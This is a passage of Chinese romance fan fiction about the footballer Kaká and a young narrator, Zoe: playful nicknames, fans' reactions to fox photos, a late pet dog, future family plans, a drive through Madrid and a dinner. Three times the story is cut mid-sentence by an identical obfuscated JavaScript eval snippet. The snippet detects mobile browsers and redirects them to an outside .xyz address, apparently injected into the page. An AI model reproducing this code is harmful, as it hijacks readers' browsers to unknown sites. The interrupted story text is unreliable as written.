“那我这只‘猎物’的心情,你考虑过吗?”他故作委屈地回应,“在你的追逐下,我可是毫无还手之力。” “那就不要抵抗了!”我张牙舞爪道,“乖乖地被我吃掉吧!”我仰起头,“啊呜”一口咬在了他的脖子上。 “哎呀!”他很配合地大叫一声,脑袋往后一缩,歪了歪脖子,“被抓住了,我恐怕要完蛋了。” 我收起利齿,讨好地舔了舔那道淡淡的牙印。“我是一只爱惜猎物的好狐狸。”我宣称,“我会把你叼回窝里储存着,来日方长。” 他一下搂住我,我们俩笑成了一团。 “你喜欢我叫你什么呢?”平静下来以后,我问他。 他不假思索道:“我都喜欢。” “总有一个最喜欢的吧?‘里卡多’是名字,‘卡卡’和‘里奇’是昵称,‘我的宝贝’‘亲爱的’‘小蜜糖’‘小傻瓜’‘小猫咪’是爱称……”我掰着手指,一一列举。 他思索了一会儿,坦诚道:“我绝对不是在敷衍。但真的没有人喊过我这些,我是指,这些西语爱称。所以,甜心,不管你怎么称呼我,我都会很喜欢。” “那如果我喊你小桃子呢?”我认真道。 他呆愣了片刻:“嗯,如果你喜欢的话……” 我忍不住大笑:“逗你的啦!那叫你小熊呢?喜欢这个吗?” 他眨了眨眼:“喜欢。” “‘小熊’和‘小天使’,你更喜欢哪个?”我继续问。 “小熊。”他毫不犹豫地回答。 “乖卡卡。”我笑嘻嘻地抬手去揉他的头发。 他的眼神无奈又宠溺,微微低下头,让我能更容易够到,任由我把他的棕发弄得一团糟。 “‘小熊’和‘小狐狸’听起来很配。”他解释道。 “欢迎加入我们动物家族。”我赞同地点点头,“宝贝,你是一只喜欢吃肉的小棕熊,巴西烤肉是你的最爱。但是,你最近的饮食有点不均衡了哦,蔬菜摄入量有点低,要知道你可是杂食动物呀……” 里卡多原本还在笑着,但随着我的话,他的表情逐渐变得有些哀怨。这次,他没有等我说完,便俯下头,把他的唇送了过来。 “唔……”我的话音被堵了回去,一时之间,只余唇齿缠绵的声音。 “你犯规。”我撅着嘴,气呼呼地瞪着他。 “这是对付你这只牙尖嘴利的小狐狸的最好办法。”他餍足地舒展着眉眼,“佐伊,我喜欢看你小脸红扑扑的样子,可爱极了。如果我是棕熊,那你是什么种类的小狐狸呢?” “任何种类都可以,别是藏狐就行。”我嘟哝着。 “藏狐?”他好奇地问。 “唔,这种狐狸主要分布在中国的青藏高原,它们有着方方的脑袋、小小的眼睛、短短的腿,看起来非常蠢萌。”我想了想,掏出手机,搜索出几张藏狐的图片递给他看。 他看到图片后忍俊不禁:“确实,看起来憨态可掬,哈哈。” “我觉得你更像北极狐。”他接过我的手机,开始兴致勃勃地搜索不同种类的狐狸,“雪白色的皮毛,蓝绿色的眼睛,既优雅又美丽。红褐色的赤狐也不错,不过看着更有攻击性。还有耳廓狐,哈哈,小小的一团,毛茸茸的,配上一对大大的耳朵,好可爱。” 他将我拢在臂弯里,我们一同对着手机浏览了半天。 “这些狐狸真是太可爱了,我忍不住想把它们分享到社媒上。”他说着把手机递还给我,随后拿出了自己的手机。 我好奇地探头去看,他同时在ins和推特上发了文。 在ins上,他发了一张藏狐前腿着地,坐得端端正正的照片,并配上了一段诙谐的文字:“腿虽短,却也不失端庄。” 在推特上,他上传了三张狐狸的照片——北极狐、赤狐和耳廓狐,并配文问道:“你们觉得哪一只更美丽?” 他刚发布完毕,点赞和评论就开始不断涌现。 “哎呀,我还没关注你的ins和推特呢。”我有些懊恼自己的疏忽。 “那正好,我们现在可以互相关注一下。”他提议道。 关注完里卡多的账号后,我点进他的主页,看到已经有网友在他的发文下留言。 在ins上,有网友评论:这是什么品种的狐狸?长得有点一言难尽…… 很快就有人跳出来热心解答:查了一下,这是藏狐,分布范围以中国的青藏高原为主,也有少量分布在印度和尼泊尔。初看觉得有点滑稽,没想到它居然来自东方,越看越觉得它带有一种神秘的东方魅力!!(爱心.gif)(爱心.gif) 中国的网友也来凑热闹:卡卡居然发了我们的藏狐!!(惊讶.gif)是也被它的萌态征服了吗?哈哈哈,它天生一张大方脸,配上眯眯眼和小短腿,可爱中带着一丝丝搞笑,不过看久了就会觉得莫名地治愈。 另一个中国网友补充道:这是中国的国家二级保护动物,狐狸界颜值反向天花板,没想到藏狐的风都吹到卡卡这里了~~~~~~ 从推特转战而来的网友调侃:卡卡今天是掉进狐狸窝了吗?在推特连发了三种狐狸的照片,来in ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956404|160973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' s一看,居然还是狐狸?! 卡卡的颜粉也不忘表白:狐狸可爱可爱,卡卡可爱可爱,所以卡卡也要多发点自己的照片!(星星眼.gif) 另一位迷信东方神秘力量的网友评论:已收藏这只神秘的东方方脸狐狸~~转发这只狐狸,晚上卡卡入我梦中~~~~ 还有积极和里卡多互动的网友:卡卡在推特上问哪只狐狸最美,答案不都公布在ins上了吗……这是开卷题呀,大家。 另一位网友站出来为藏狐辩护:虽然推特上那三只狐狸各有各的美,但这只明显与众不同,和那三只根本就不是一个赛道的,证明我们卡卡更注重内在美。(大笑.gif) 此言一出,立刻有人反驳:哥们,你没发现它一开始就没在候选名单里吗?可能它真的只有搞笑的份…… 更多的ins网友则开启了玩笑模式,一窝蜂地涌到推特上,在卡卡的账号下疯狂刷起了“藏狐最美”的留言,把原本那批认认真真审题,分别支持北极狐、赤狐和耳廓狐的网友们搞得一头雾水,直到他们顺着网线去ins一看才恍然大悟。我放下手机的时候,得票最高的居然是大方脸藏狐。 “你的粉丝太好玩了。”我笑得前仰后合,歪倒在他身上。 里卡多捞起我,让我重新依偎在他怀里,他正在看推特上网友的留言。我注意到他特意翻到下面,回复了一位网友的提问:话说回来,卡卡最喜欢哪只狐狸呢? 他回复:我最喜欢蓝绿色眼睛的。 这个回答立刻被网友们顶了起来。 原楼主:!!我居然被卡卡翻牌了!!感觉好不真实…… 网友A:那些刷藏狐的人过来看看,藏狐可不是蓝绿色眼睛哦。 网友B:卡卡发的照片里,只有北极狐是蓝绿色眼睛,看来卡卡的真爱是北极狐~~我也喜欢北极狐,它长得最好看!! 网友C:赞同,北极狐在颜值方面遥遥领先~而且看着就很软和,一定很好摸! 网友D:卡卡你不爱藏狐了吗?悲伤…… 网友E:赤狐的毛色突变种银狐也不错!!白色毛段被衬托在黑色毛段之间,形成了高贵华美的银雾状,卡卡考虑一下~ 网友F:藏狐:虽然我不好看,但是我腿也短啊!虽然我腿短,但是我叫声也不嗲啊! …… “你喜欢小动物吗?”他若有所思地问我。 “喜欢呀。”我毫不犹豫地回答,“我们家以前养过一只萨摩耶,对我来说,她和家人没有区别。” “她现在还在吗?” 我摇了摇头。“我出生的时候,她就已经5岁了,是一个成熟的大姐姐。她陪着我长大,我还是婴儿的时候就会躺在她身上睡觉,她的肚皮总是暖烘烘的。” 那些过往的柔和回忆萦绕于心,我情不自禁得微笑了起来。 “和我相比,她非常巨大,但对待我总是小心翼翼的。我再长大一点的时候,她就会陪着我玩耍,那个时候她已经逐渐步入老年了,时常趴着不爱动,但还是乐意和我一起在院子里撒欢。她还是一只小狗的时候就被绝育了,有时候她看我的眼神,充满了感情,或许她觉得我就是她的宝宝。她从来不会对我生气,哪怕我不小心踩到了她的脚掌,或是没轻没重打到了她…… “我12岁那年她去世了,我们把她照顾得很好,她没有得过什么大病,是自然老去的。我们把她安葬在院子里的草莓丛下,那是她最喜欢的一块地方。每年春末夏初,草莓快成熟的时候,她就会一天来巡视几次,守护着她心爱的小草莓。我们希望她到了天堂以后也有吃不完的草莓。” “她现在是一只天使狗狗了。”里卡多温柔地摸了摸我的头。 “嗯!她在狗狗天堂里重新变成了一只小狗。”我振奋精神,从手机相册中翻找出老照片给他看,“她叫香雪,是我爸爸给她取的名字。在中国古代,‘香雪’这个词常被诗人们用来形容满树繁花,暗香浮动。” 我切换到普通话,轻声念出四句诗:“薄薄春云笼皓月,杏花满地堆香雪。醉垂罗袂倚朱栏,小数玉仙歌未阕。” 里卡多专注地浏览着屏幕上的照片:一个婴儿被一只白色大狗舔着脚丫,似乎在咯咯发笑;一个四五岁的小女孩正用五颜六色的发绳给大狗扎小辫子,大狗温顺地坐着,一动不动;一个十来岁的少女与大狗在庭院里的合照,大狗虽然显出了老态,但仍然吐着舌头,像是在微笑…… “这种感觉真的很好。”他感叹道,紧紧地抱着我的腰,“狗狗陪伴你成长,和你一同玩耍,真的很温馨。” 我凝视着照片,眼眶中隐约有泪光闪烁。 “你刚才念的那几句中文是什么意思?”他语调轻快地问我,似乎察觉到我即将涌出的悲伤。 “嗯……”我微微沉吟,斟酌着如何用葡语准确地传达这四句诗的意境,翻译的准则是“信达雅”,必须要给巴西人一点小小的中华文化震撼。 当我尽力用押韵的语句将这首诗翻译给里卡多听后,心中的惆怅也消散得差不多了。 “中国的诗歌好美。”他赞叹道,“你用中文朗读的时候就像歌剧一般优雅,没想到内容也这样动人。” 19. 有关家庭 “你为什么会突然问起宠物?”我想到刚才的话题,好奇道,“你该不会是想要养一只小狐狸吧?”我带着几分古怪的神色,瞥了他一眼。狐狸虽然很可爱,但毕竟有很强的野性,很难被驯化。 “我有你这只爱捣蛋的小狐狸就够了。”他眼角含笑,轻轻摇了摇头,仿佛在想象着什么温馨的画面,“我只是想着,要是能和你一起养一只小狗,也很美好。等将来我们的孩子出生了,它就能像香雪一样,陪伴着孩子一起长大。” 我瞪大了眼睛:“里卡多,我才18岁。” “我知道,甜心。我只是对未来做一些设想。”他轻轻握住我的手,他的手掌散发着热意,将我的手完全包裹其中,“一个充满爱的家庭,有彼此相爱的我们,或许在未来还会迎来可爱的孩子,还有一只忠诚的小狗。” 虽然他是基督徒,但我没想到他的婚姻和家庭观念真的如此传统。 我静静地盯着他的手看,那只比我的手大了许多的、传递着安全感的手。 我身边信仰基督的人不在少数,但年轻人的婚姻观念都很开放,要知道,今年西班牙的平均结婚年龄已经超过三十岁了…… 我微微皱起眉头,对他说道:“里卡多,我还没想好。我当然渴望和你共度一生,但是,我不想像我妈妈那样,在还没准备好的时候就仓促迎来新生命。”我说得很认真,希望他能领会我的意图。 “我妈妈很爱我,但是她依然惊慌失措,因为我是在她专注于自己的学术道路时意外来临的,我不是她所期望的——至少那不是一个最佳时机。我从来不责怪她在我小时候对我的忽视,相反,我为她能拥有自己的生活和事业而感到自豪。但有时候,我仍然会感到一点点的失落。” 我叹了口气,垂下眼帘,声音渐渐低沉,“至少,我要先完成我的学业,追求我的梦想,把自己活得精彩且无憾。我不敢想象如果有了孩子,我会怎样面对她,会不会像我妈妈当年那样……” 我的话音戛然而止,一种难以言说的情绪哽住了我的喉咙。 “佐伊——”里卡多唤回了我的神志,他的声音里带着懊悔,“抱歉,是我不好,引出了你的伤心事。我想告诉你,我爱你,我想和你共同生活,但我完全尊重你的意愿。你可以投入当下,享受你的青春和校园生活,自由追逐你的理想,而我会无条件在你身后支持你。在这过程中,我们也在一步步走向我们的未来。” 那一团被我揉得乱蓬蓬的棕色头发覆盖着他小麦色的额头,那双褐色的眼睛望着我的眼睛,如此真挚,如此庄重。 我怔怔地看着他,然后伸手托起他的下颌,把我的唇贴了上去。 这次的吻克制而纯粹,没有掺杂任何欲望。他的手指穿过我的头发,从耳后温柔滑落,最终停留在我的腰际。我们静静享受着心灵的互通。 “如果你不想要孩子,我们就不必有。我只想要你。” “你还有卢卡,和你的小女儿贝拉。”我轻轻笑了一声,提醒他。 “那不一样。孩子们终将长大,会去追寻他们自己的人生,会拥有各自的伴侣。而我的余生都将与你相伴。” “但你还是希望有一个属于我们的孩子吗?”我追问道。 我的内心仍然纠结。时而觉得未来能和里卡多拥有一个漂亮的孩子也不错,时而又担心自己无法应对如此巨大的人生变化。 “那不是必须的。”他充满爱意地抚摸着我的眉骨,把我额前的头发往两边拨开,“就像决定是否养一只小狗一样,最重要的是我们共同做出的决定,一切都要基于你的意愿。如果你不情愿,不快乐,那么这个想法根本就不会开始。” “你把养孩子比作养小狗?”我一时有些哭笑不得,竟不知道该做出怎样的表情。 “在某种程度上,感觉是相似的。”他幽默地说。 我忍不住笑出声来,伸手在他腰上胡乱摸了一阵。 “说起来,我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956405|160973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在讨论这些,是不是有点操之过急了?”我把手从他的腰际滑向小腹,对他的腹肌流连忘返。隔着衣物的触感已无法让我满足,我想要进一步探索,手指试图探入他的衬衫下摆。 “这是一个迟早会触及的话题,我确信我们将来会步入婚姻。”他微微一侧身,轻而易举地捉住了我在他裤腰间游走的手,引导它贴向他的胸口。他的力气很大,我泄气地瞪着他,只能偃旗息鼓。 “你现在是中国籍还是西班牙籍?”他问我。 “我的情况稍微有些复杂。”我想了想,整理了一下思绪,“我妈妈生我的那年,正在布朗大学攻读艺术与建筑史博士学位。我实际上是在美国出生的,所以按照美国的法律,我一出生就自动拥有了美国籍。同时,我爸爸妈妈又为我申领了西班牙护照。” 我顿了顿,继续说道:“另一方面,因为我爸爸是中国籍,而且他并没有其他国家的永久居留权,所以依据中国的相关规定,我同样也拥有中国国籍。然而,中国法律并不承认多重国籍,因此在实际操作层面,我处于一种国籍冲突的状态。嗯,简单来说,我现在持有的是中国的旅行证,虽然每两年就需要更换一次,但它就如同一个可以无限次出入中国的签证。” “对你的生活而言,这样倒是很方便。你在美国读大学,又能随时前往西班牙和中国探望亲人,还能自由地去欧盟和申根国家旅行。” “确实如此。”我在他怀里换了一个姿势,双手环绕住他的脖子,像树袋熊一样紧紧挂在他身上,“你还拥有意大利籍,那我们以后就可以一起去欧洲各国旅行了。我一直都热衷于体验不同国家的文化与风俗。” 他环抱住我,手臂微微用力,把我往上提了提,让我能更紧密地贴近他。“以后无论去哪里,我都会一直陪着你。” “你陪我旅行,我陪你踢球。”我把头依偎在他的颈窝上,低喃着,“我不想错过你下一次比赛。” “好。”他柔声道。 20. 欠我二十个吻 “是的,今晚我不回家吃饭了,和朋友去市区吃。嗯,好……我也爱你,阿尔玛。”我挂掉电话,站在那辆闪着银光的布加迪威龙旁,等着里卡多从一旁的超市里出来。 超市的玻璃门自动移开,那具高大得宛如古希腊奥林匹亚运动员般的身影走了出来,我欣赏地注视着他。 这位赫拉克勒斯对上了我的目光,举了举他手里的两瓶气泡水,笑容点亮了他的面容。 “你要什么口味的?酸橙的还是青柠的?”他快步走到我身边。 “酸橙的。”我接过他递来的气泡水,利落地拧开瓶盖,大口灌到嘴里。我很享受这种冰凉气泡在喉咙里霹雳啪啦炸响的感觉,如同一场夏日的狂欢,瞬间驱散周身的燥热。 “和你外婆打完电话啦?”他把那瓶青柠味的拿在手里,没有立刻喝。 我“嗯”了一声,转而问他:“这次可以让我开车了吗?”我巴望地瞧着他,决心他不答应就使出达尼尔向卡洛斯撒娇时的那套绝招。 他故意让自己的口吻里带上了为难的味道:“可要是被马德里的警察开了罚单,克里斯会怪我的。” “你们不是好朋友吗,他怎么会怪你呢?不对——谁说我会被开罚单啦!马德里的路我都开熟了,我就是马德里人形地图,绝对不会违章的!”我信誓旦旦地说,看到他的眼神,又了然地补充道,“不会超速的啦,西班牙对超速的监管比美国严格多了,市政府全靠交通罚单创收了。我保证会开得非常规矩!” 我贴上去抱住他的胳膊,热切地冲他眨眼睛:“拜托啦,小熊,我的亲亲小巧克力蛋糕,你答应我吧好不好?我最爱你啦,我会给你十个,哦不,二十个甜甜的吻……” 我看得出他对我这一套很买账,他似乎想装作严肃的样子,对我板起脸来,继续告诫我超速的危害,但最后他只是勉强地说了一句“你欠我二十个吻”,就被抑制不住的笑容堆满了脸,糊里糊涂地被我从口袋里摸走了车钥匙。 “真是拿你没办法。”他无奈地叹了口气,矮身坐进了副驾驶的位置。 我激动得像个得到了圣诞礼物的孩子,坐在驾驶座上左顾右盼,手指一会儿轻抚着方向盘,一会儿又去摸了摸仪表盘。而随着引擎的一声低沉咆哮,这头身披银鳞、气势非凡的银白色火龙在霎那间脱笼而出。 - 我们的车在平坦的公路上滑行,如同一道优雅的弧线。 不断有大大小小的车开到我们旁边,从车窗里投来好奇的目光。甚至有司机摇下车窗,对着我吹起了口哨:“酷哦~~~这是限量款吧?美人儿,留个电话呗?” “抱歉,先生,但是她男朋友就坐在她旁边!”里卡多扬起眉毛,用流利的西语大声回应。 “嘿,瞧着我的肌肉可比他的壮实多了,甩了他,考虑考虑我吧,小野猫~”那小伙子不依不饶,继续挑衅。 副驾驶座上的男人差点没保持住温和,要从车里蹦起来。 我哈哈大笑,一脚油门狂踩,银龙在音浪中瞬间提速,冲开不必要的束缚,将其余车远远甩在身后。 “宝贝——”我的长发在风中飞舞,我投给他一个肆意的眼神,“这不能怪我开得快了吧?只能怪蜂蝶有点多!” “我给你付罚单。”里卡多的声音紧绷着,嘴角却忍不住微微上扬。 - “你能在马德里待上几天?” 我熟练地拐入进城的公路,见缝插针地在缓缓波动的车流中穿梭,从一个空隙滑入另一个空隙,就像在城市的脉络中轻盈弹跳。 “差不多两周。”我感受到他的目光正灼灼地停留在我脸上。 “可你下周还有比赛。” “我不会每场都上。”他轻松地说,“教练会根据球员的身体状况和战术需要做出安排。我下一场比赛在9月20日,到时候我会提前一周归队训练。” 我的心情立刻绽放开来。 “那太好了。”我的喜悦溢于言表。 “你九月还要回中国吗?”他问我。 “我父母请了十天的探亲假回来,原本我打算和他们一起回中国。”我顿了顿,嘴角向上一弯,“不过,既然我们一家人已经在马德里团聚了,我想他们应该不会介意他们的电灯泡女儿有些自己的计划。” “那对他们真是有些抱歉。”他说,我很高兴地察觉到这话背后隐藏的态度——他和我一样感到开心和迫不及待,“我们可以一起度过我们的假期。” 我们的假期。我喜欢这个说法。 马德里的漫长白昼终于缓缓落下帷幕。太阳,那不屈的火球,只剩下最后一小块顽强地悬挂在天际。天空被一片橘黄色的晚霞所久久笼罩,它们如同老人眼角的鱼尾纹,细腻而紧密地排列在一起。 车窗前方是一片光影交错的世界,难以捉摸的光亮与难以捉摸的昏暗在每一辆汽车顶上跳跃,车队像成群结队的鱼儿摆尾游入深海的阴影。 路边的桑葚树,枝条彼此纠缠,一排排地站立着,长势茂盛,形成了一大片浓重的青翠。而在夕阳的余光中,这些树木逐渐显出一种独特的青黄色,是生命力与暮色交织的色彩。 “我们像在追逐落日。”我微笑着说。 他望着前方,轻轻应了一声。我们沉默了一阵,然后他忽然说:“黄昏的世界其实也不错。”他偏过头来注视着我。 “因为有我陪你吗?” “因为有你陪我。” - 进入市区后,我把车顶升了上去。 “这辆车会不会被认出来是克里斯的?”我好奇地问他。 他想了想回答:“记者和球迷可能认识。” “如果我们被拍到了怎么办?” “你会介意吗?”他问我。 我微微一愣,随即轻松地说:“我不介意。我的男朋友可是大球星呀。即使我跟着上了八卦新闻,也是一种幸福的烦恼。只是——”我的表情又变换成苦恼,“到那个时候,我的家人就全都知道你了。我还没想好该怎么把你介绍给他们。” “他们会不会——”里卡多欲言又止。 “嗯?” “他们会不会介意我曾经结过一次婚,还有两个孩子?” 我噗嗤一声笑了,轻轻瞟了他一眼:“你在担心这个呀?” 他坦率地点了点头。 “放心啦,他们都很开明,会喜欢你的。”我安慰他,“而且,谁会不喜欢卡卡呢?你可是出了名的乖孩子。呃,好吧,出了名的好男人。”我在他强烈的幽怨视线下改了口。 等红灯的时候,旁边一辆车的副驾车窗被摇了下来。我以为又是某个想要来搭讪的路人,没有过多在意。 然而,一连串按快门的咔嚓声突然响起,我诧异地瞥向那边,只见对面车窗里伸出了一个明晃晃的镜头,正毫不客气地对准我们。 我和里卡多迅速交换了一个眼神。“是记者。”他无奈地说。 我们五分钟前才讨论过的话题,居然这么快就成为了现实。我只能苦中作乐地安慰自己:至少这说明里卡多即便远赴美国踢球,也依然在欧洲人气不减。 “嘿,卡卡!你来马德里是来找克里斯蒂亚诺·罗纳尔多的吗?你知道你下午在机场被拍到了吗?”相机后面露出一张典型的伊比利亚半岛风格的古铜色脸庞,带着一股与生俱来的自来熟热情,冲我们打招呼,“司机小姐,你是卡卡的新女朋友吗?这辆布加迪威龙很酷哦,看起来和罗纳尔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956406|160973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多的那辆很像,你和他有什么关系吗?” 我思考了两秒钟,转头问里卡多:“你会介意我们现在公开关系吗?” “当然不会。”他惊讶地看过来,“我愿意向任何人介绍你。” “如果我们还要待在马德里,可能就会一直被记者跟踪。”我的眉头略略皱了一下,把目光投向和我们并排的那辆车。 “你是想——”他睁大眼睛。 我匆匆扫了一眼红灯,时间紧迫,容不得过多犹豫。我深吸了一口气,果断地摇下车窗。 既然已经被发现了,与其遮遮掩掩,不如大方应对。 “这位记者先生,请问你怎么称呼?”我礼貌地问道。 那个举着相机的家伙显然被我的举动吓了一跳,但作为一名经验丰富的记者,他很快恢复了镇定。 “你好,小姐,我叫马科。” “马科,如果你不介意的话,我来回答你刚才的几个问题。卡卡来马德里是为了找我,他并不在乎是否被人拍到。这辆车确实是克里斯蒂亚诺的,他们之间的友谊众所周知,借用好友的车也不奇怪吧。我现在还不认识克里斯蒂亚诺,但我希望未来有机会认识。至于我是不是卡卡的女朋友,嗯……这个问题,还是让卡卡来回答你吧。” 说完,我干脆地往椅背上一靠,露出了旁座上目不转睛盯着我的男人。 “她很厉害吧?”里卡多笑得很张扬,两个同样带着惊叹神情的男人对视了一眼。 “她不仅仅是我的女朋友。”他嘴角的弧度还在不断加大,“她是我的爱,也是我的光。” 我抬眼瞥见红灯闪烁了一下,正好要跳到绿灯。 “问题回答完了。再见,马科。”话音刚落,我便轻轻踩下油门,让车子平滑地起步。 “嘿!等等!我还有一个问题!”马科在后头大喊,手忙脚乱地催促他的司机赶紧起步追赶。“漂亮女孩,你叫什么名字?你来自哪里?你和卡卡在一起多久了?” “这可不是一个问题,记者先生——”我向车窗外大声抛出这句话,随后立刻提升速度,一气呵成地冲过了四个绿灯。而马科的车最终被挡在了最后一个绿灯转红的路口。 “佐伊——” 我差点忘了车里还有另一个惊掉下巴的男人。 “我从未见过像你这样的女孩。”里卡多的目光一直停留在我身上,“你令我心醉神迷。” “亲爱的,你不仅见过这样的女孩儿,她现在正开着你好朋友的车,而且很快她还要给你一个吻。”我眼尾轻扬,回应道。 “是二十个。” “抱歉?” “你还欠我二十个吻。”他的声音听起来很认真。 “小气鬼。”我撇了撇嘴。 “是你欠我的。”他坚持着。 “我记得呢。”我有些郁闷地回答,“作为人生目标是要横渡直布罗陀海峡的女人,还会赖掉二十个吻吗?” “我记得你之前说,你另一个人生目标是做我的爱人。”他回忆道。 “我有这么说过吗?” “狡猾的小狐狸,你又想不认账?” “好吧。”我供认道,但随即话锋一转,“不过这个目标现在已经达成了。完成起来意外得容易,好像没什么挑战性。” “没什么挑战性?”他重复着这句话,有种难以置信的味道。 “显然这只是个阶段性的目标——”我赶紧哄他,“接下来我们可以一起规划人生,做一些有趣的事。” “比如?” “比如,唔……你确定这就是我们今晚吃饭的餐厅?”我把车开进路边的收费停车区,指着窗外问。 “亲爱的,我们在教堂里吃饭?” 21. 傻瓜和小天使 “我们在教堂里吃饭?”我扬手指向窗外问。 从外面看,这家餐厅像是一座至少有几百年历史的巴洛克式教堂,门柱雕琢成两个双翅轻敛、宛如少女的天使模样。 里卡多显然也吃了一惊。“这家餐厅是克里斯推荐给我的,没想到它是这种风格。” 我和他对视了一眼。“感觉还不错,我喜欢这种历史感。” 此时刚到餐厅的晚上营业时间,我和里卡多走进大门时,里面只有两三桌客人。 身着制服的侍者迎上前来,带着标准微笑接待我们。 看清里卡多的时候,他眼中闪过一丝惊讶。而在把我们引向一个窗前的僻静卡座之后,他用笃定的语气轻声问道:“卡卡?” 里卡多友好地向他点头示意,年轻人的眼睛立刻亮了起来。 “这是我们今晚的主厨推荐菜单。”他偷瞄着里卡多,带着一种极力掩饰的兴奋,当他把菜单递给我的时候,神色中又多了几分好奇。 这家餐厅的内部展开为宏阔的半圆形拱券结构,漂亮的壁柱以多层交错的优雅姿态矗立,它们在象牙白的墙壁上投下柔和的阴影,与天花板上繁复的壁龛和浮雕交织成一幅幅精美的图案。 每一寸空间都被精心雕琢,镀金装饰在灯光下闪耀着璀璨的光芒,我们仿佛穿越了时空,真的置身于五百年前的马德里教堂之中。 “这里原本是一座拥有五百多年历史的共/济/会教堂。”年轻的侍者为我们介绍。 “共/济/会,侦探小说和阴谋论中的常客。”我会意道,“放心,我和他们很熟,即使他们想要推翻世界,恐怕也得等我们吃完今晚这一餐了。” “抱歉,您说什么?”侍者困惑地看着我。 我一下子被噎住,干巴巴道:“没事,我只是开个玩笑。” “好的,请问二位需要柠檬水还是气泡水?” 我郁闷地看向里卡多,他眉毛耸得老高,脸上挂着一副努力憋笑的表情。 “柠檬水,谢谢。” “您呢,莱特先生?” “和这位女士一样。” “好的,请稍等。”侍者微微鞠躬,转身离去。 “我懂你的玩笑。”他安慰我。 “你刚才没笑。”我控诉道。 他立刻绽开一个大大的笑容,用眼神讨好我,仿佛在说:现在呢? 我托着腮,端详他的脸蛋,满意地点点头:“是一只帅气的小熊。”我放过了他,男朋友过于英俊总是让人无法对他真正生起气来…… 为了不辜负晚餐的独特氛围,我们很应景地聊了聊宗教。 “西班牙老一辈人大多都很传统,我外公外婆倒是格外开明。他们从不强求孩子们也一定要信教。我舅舅和舅妈,他们对宗教的态度更像是一种文化习惯,每周日都会去天主教堂做弥撒,但绝不会让它过多地干扰到生活的其他部分——毕竟,就算是上帝,恐怕也难以阻止韩国客户在休息日一连打来十二个紧急电话。”我往餐前面包上涂抹着牛油果鹅肝酱,不紧不慢地说。 “我妈妈从小就很叛逆,她说自己和上帝合不来。我外婆曾经一度担心她会离家出走,跑到太平洋的塔希提岛上去流浪,你知道,就像高更那样。而她最终选择了中国。对她来说,那里的神秘和奇幻可能更胜一筹。”我稍作停顿,小口咬下一块面包,享受着那酥脆在齿间散开的美妙口感。 “我爸爸那边,中国人的信仰丰富多样又颇为复杂,他们信佛、信道、信妈祖,有时候似乎什么都信,又似乎什么都不信。事实上,他们最信的,可能还是自己。至于我们年轻人嘛,达尼尔认为上帝就像薛定谔的那只猫,在决定性的盒子打开之前,一切答案都悬而未决。而人类与盒子的距离,或许正是21世纪文明与戴森球技术的距离。” “那你呢?你对上帝有什么看法?”他饶有兴趣地问。 我的视线在柠檬水和水果酒之间徘徊不定,最终定格在那只盛满薄荷叶、树莓、桑葚、酸橙和芭乐切片的高脚杯上。我举杯呷了一口,随即陷入了沉思。 “柏拉图在晚年所著的《蒂迈欧篇》中提出了‘神圣工匠’的概念:他是宇宙的创造者,是一种依照永恒真理来创造物质世界的存在。后来的基督教神学家们巧妙地将这一思想与基督教教义结合,于是上帝便被视为真理的源泉。到了19世纪,黑格尔不再把上帝局限为一个具象的、看得见摸得着的存在,而是将其等同于绝对精神和终极真理。克尔凯郭尔也认为上帝超越了理性的范畴,是信仰的飞跃。 “你会发现,我们在探讨上帝的时候,总是无法摆脱时代的影响。在柏拉图的时代,基督教尚未诞生,但人们仍然渴望有一个类似的存在,来作为真理的掌管者。350年后,诞生在伯利恒马厩里的耶稣,将这个存在亲切地称为‘上帝’和‘天父’。而距离我们仅仅一百多年的哲学家们,普遍把上帝视为真理的象征。我的见解无法超越这些先贤们。”我迎上他专注的目光,坦诚道。 “我不知道上帝是否真的存在,但我也不需要知道。在信徒的心中,祂永远是个体存在和道德选择的终极依据,是心灵的慰藉、情感的力量、道德的光辉。那么,只要这世上还有一位信徒,上帝就永远不会‘死去’。 “我愿意相信上帝存在,也愿意去爱祂,因为我爱的人们信仰着祂。” 他的目光顿时变得极为温柔。“谢谢你,佐伊。”他轻声说。 我浮起微笑,舀了一勺刚端上桌的番茄冷汤。“我说过,我热爱你所热爱的。你永远不必为此忧虑。” 在副菜尚未上桌的空档,里卡多与我分享了许多他在巴西的回忆:他的父母博斯科和西蒙妮、弟弟迪甘,他在圣保罗踢球时的趣事,以及他18岁那年在泳池中发生的那场意外。那次,他的头部狠狠撞到了池底,导致脊椎骨折,一度面临下肢瘫痪的巨大风险。然而,仅仅两个半月后,他的脊柱竟奇迹般地康复了。他坚信是耶稣之手拯救了他。 